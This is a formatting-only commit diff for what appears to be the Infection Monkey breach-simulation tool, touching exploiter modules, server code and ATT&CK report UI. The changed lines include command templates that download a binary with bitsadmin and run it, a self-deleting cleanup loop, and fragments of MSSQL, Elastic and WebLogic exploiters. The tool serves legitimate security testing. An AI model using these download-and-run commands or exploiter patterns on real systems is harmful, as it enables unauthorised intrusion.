Auto reformat all code

This commit is contained in:
Shay Nehmad 2019-10-28 21:11:05 +02:00
parent d69976f4b5
commit 40494d3c3c
147 changed files with 1370 additions and 1150 deletions

View File

@ -114,7 +114,7 @@ class MonkeyDrops(object):
except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options =\
monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():

View File

@ -101,7 +101,7 @@
"use_file_logging": true,
"victims_max_exploit": 15,
"victims_max_find": 100,
"post_breach_actions" : []
"post_breach_actions": []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None

View File

@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:

View File

@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part

View File

@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
import threading
import logging
import time
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'

View File

@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False

View File

@ -5,14 +5,14 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '

View File

@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else ''))
(':' + self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))

View File

@ -13,7 +13,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"

View File

@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096

View File

@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):

View File

@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.

View File

@ -16,6 +16,7 @@ class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()

View File

@ -1,7 +1,6 @@
import os
import sys
__author__ = 'itay.mizeretz'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -1,6 +1,7 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
HOME_FILE = 'index.html'

View File

@ -2,7 +2,6 @@ import os
import json
import logging.config
__author__ = 'Maor.Rayzin'

View File

@ -6,7 +6,6 @@
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
@ -14,7 +13,6 @@
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
@ -25,9 +23,11 @@
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
"handlers": [
"console",
"info_file_handler"
]
}
}

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod

View File

@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
# TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""

View File

@ -1,6 +1,5 @@
import http.client
import flask_restful
from flask import jsonify

View File

@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
\
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
report =\
report = \
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique):
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique):
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique):
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique):
tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique):
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique):
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."

View File

@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique):
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."

View File

@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
@ -270,7 +269,7 @@ class ConfigService:
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
parent_config_arr[config_arr_as_array[-1]] =\
parent_config_arr[config_arr_as_array[-1]] = \
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod

View File

@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__)
@ -28,4 +27,3 @@ class Database(object):
def init_db():
if not mongo.db.collection_names():
Database.reset_db()

View File

@ -1,4 +1,5 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
__author__ = 'maor.rayzin'

View File

@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__)

View File

@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
self.assertEqual(map_nodes[0]["group"], "critical")
self.assertEqual(len(map_nodes[0]["services"]), 2)
self.assertEqual(map_nodes[0]["hostname"], hostname)

View File

@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)

View File

@ -54,4 +54,3 @@ class VersionUpdateService:
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())

View File

@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
class WMIHandler(object):
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
@ -160,4 +159,3 @@ class WMIHandler(object):
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)

View File

@ -1,4 +1,10 @@
{
"presets": ["es2015", "stage-0", "react"],
"plugins": ["emotion"]
"presets": [
"es2015",
"stage-0",
"react"
],
"plugins": [
"emotion"
]
}

View File

@ -19,14 +19,22 @@
},
"rules": {
"comma-dangle": 1,
"quotes": [ 1, "single" ],
"quotes": [
1,
"single"
],
"no-undef": 1,
"global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0,
"no-console": 1,
"no-unused-vars": 1,
"no-trailing-spaces": [1, { "skipBlankLines": true }],
"no-trailing-spaces": [
1,
{
"skipBlankLines": true
}
],
"no-unreachable": 1,
"no-alert": 0,
"react/jsx-uses-react": 1,

View File

@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
// Set node environment to testing
process.env.NODE_ENV = 'test';
module.exports = function(config) {
module.exports = function (config) {
config.set({
basePath: '',
browsers: [ 'PhantomJS' ],
browsers: ['PhantomJS'],
files: [
'test/loadtests.js'
],
port: 8000,
captureTimeout: 60000,
frameworks: [ 'mocha', 'chai' ],
frameworks: ['mocha', 'chai'],
client: {
mocha: {}
},
singleRun: true,
reporters: [ 'mocha', 'coverage' ],
reporters: ['mocha', 'coverage'],
preprocessors: {
'test/loadtests.js': [ 'webpack', 'sourcemap' ]
'test/loadtests.js': ['webpack', 'sourcemap']
},
webpack: webpackCfg,
webpackServer: {
@ -28,8 +28,8 @@ module.exports = function(config) {
coverageReporter: {
dir: 'coverage/',
reporters: [
{ type: 'html' },
{ type: 'text' }
{type: 'html'},
{type: 'text'}
]
}
});

View File

@ -14,12 +14,12 @@ let isInitialCompilation = true;
const compiler = webpack(config);
new WebpackDevServer(compiler, config.devServer)
.listen(config.port, 'localhost', (err) => {
.listen(config.port, 'localhost', (err) => {
if (err) {
console.log(err);
}
console.log('Listening at localhost:' + config.port);
});
});
compiler.plugin('done', () => {
if (isInitialCompilation) {

View File

@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
};
// Finds which attack type has most techniques and returns that number
static findMaxTechniques(data){
static findMaxTechniques(data) {
let maxLen = 0;
data.forEach(function(techType) {
if (Object.keys(techType.properties).length > maxLen){
data.forEach(function (techType) {
if (Object.keys(techType.properties).length > maxLen) {
maxLen = Object.keys(techType.properties).length
}
});
@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
static parseTechniques (data, maxLen) {
static parseTechniques(data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
data.forEach(function(techType){
data.forEach(function (techType) {
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
if (rowColumn.technique){
if (rowColumn.technique) {
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
@ -50,19 +50,19 @@ class MatrixComponent extends AuthComponent {
};
getColumns(matrixData) {
return Object.keys(matrixData[0]).map((key)=>{
return Object.keys(matrixData[0]).map((key) => {
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
style: { 'whiteSpace': 'unset' }
style: {'whiteSpace': 'unset'}
};
});
}
renderTechnique(technique) {
if (technique == null){
return (<div />)
if (technique == null) {
return (<div/>)
} else {
return (<Tooltip content={technique.description} direction="down">
<Checkbox checked={technique.value}
@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
<ReactTable columns={tableData['columns']}
data={tableData['matrixTableData']}
showPagination={false}
defaultPageSize={tableData['maxTechniques']} />
defaultPageSize={tableData['maxTechniques']}/>
</div>
</div>);
}

View File

@ -1,6 +1,6 @@
import React from "react";
export function renderMachine(val){
export function renderMachine(val) {
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
@ -10,8 +10,8 @@ export function renderMachine(val){
string representation of machine from that data. */
export function renderMachineFromSystemData(data) {
let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function(ipInfo){
if(typeof ipInfo === "object"){
data['ips'].forEach(function (ipInfo) {
if (typeof ipInfo === "object") {
machineStr += ipInfo['addr'] + ", ";
} else {
machineStr += ipInfo + ", ";
@ -26,29 +26,34 @@ export function renderMachineFromSystemData(data) {
export function getUsageColumns() {
return ([{
columns: [
{Header: 'Machine',
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' },
width: 300},
{Header: 'Usage',
style: {'whiteSpace': 'unset'},
width: 300
},
{
Header: 'Usage',
id: 'usage',
accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}]
}])}
style: {'whiteSpace': 'unset'}
}]
}])
}
/* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown.
*/
export function renderUsageFields(usages){
export function renderUsageFields(usages) {
let output = [];
usages.forEach(function(usage){
if(usage['used']){
usages.forEach(function (usage) {
if (usage['used']) {
output.push(<div key={usage['name']}>{usage['name']}</div>)
}
});
return (<div>{output}</div>);
}
}
export const ScanStatus = {
UNSCANNED: 0,

View File

@ -17,7 +17,8 @@ class T1003 extends React.Component {
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
<StolenPasswordsComponent
data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
: ""}
</div>
);

View File

@ -13,10 +13,17 @@ class T1005 extends React.Component {
return ([{
Header: "Sensitive data",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
]}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
{Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1016 extends React.Component {
@ -14,10 +14,16 @@ class T1016 extends React.Component {
return ([{
Header: "Network configuration info gathered",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
class T1018 extends React.Component {
@ -10,9 +10,9 @@ class T1018 extends React.Component {
super(props);
}
static renderMachines(machines){
static renderMachines(machines) {
let output = [];
machines.forEach(function(machine){
machines.forEach(function (machine) {
output.push(renderMachine(machine))
});
return (<div>{output}</div>);
@ -21,12 +21,23 @@ class T1018 extends React.Component {
static getScanInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.monkey),
style: {'whiteSpace': 'unset'}
},
{Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
{
Header: 'Systems found',
id: 'systems',
accessor: x => T1018.renderMachines(x.machines),
style: {'whiteSpace': 'unset'}
},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1021 extends React.Component {
@ -13,12 +13,20 @@ class T1021 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 160
},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
{
Header: 'Valid account used',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])};
}])
};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1035 extends React.Component {

View File

@ -13,9 +13,11 @@ class T1041 extends React.Component {
return ([{
Header: "Data exfiltration channels",
columns: [
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
]}])};
{Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
]
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1059 extends React.Component {
@ -14,11 +14,18 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachine(x.data.machine),
style: {'whiteSpace': 'unset'},
width: 160
},
